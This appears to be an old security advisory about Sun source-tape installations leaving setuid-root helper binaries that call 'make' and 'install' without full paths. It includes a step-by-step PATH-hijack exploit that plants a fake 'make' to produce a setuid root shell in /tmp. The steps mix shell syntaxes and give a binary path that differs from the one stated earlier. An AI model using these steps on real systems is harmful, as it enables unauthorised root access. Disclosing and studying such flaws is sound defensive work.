This applies to sites that have installed Sun Source tapes
only.
The Sun distribution of sources (sunsrc) has an installation
procedure which creates the directory /usr/release/bin and
installs two setuid root files in it: makeinstall and winstall.
These are both binary files which exec other programs:
"make -k install" (makeinstall) or "install" (winstall) without
a full path or reseting the PATH enviroment variable.
This makes it possible for users on that system to become root.
$ cp /bin/sh /tmp/sh
$ echo chmod 4777 /tmp/sh > /tmp/make
$ chmod a+rx /tmp/make
$ set PATH=/tmp:$PATH
$ export PATH
$ /usr/bin/makeinstall
$ /tmp/sh
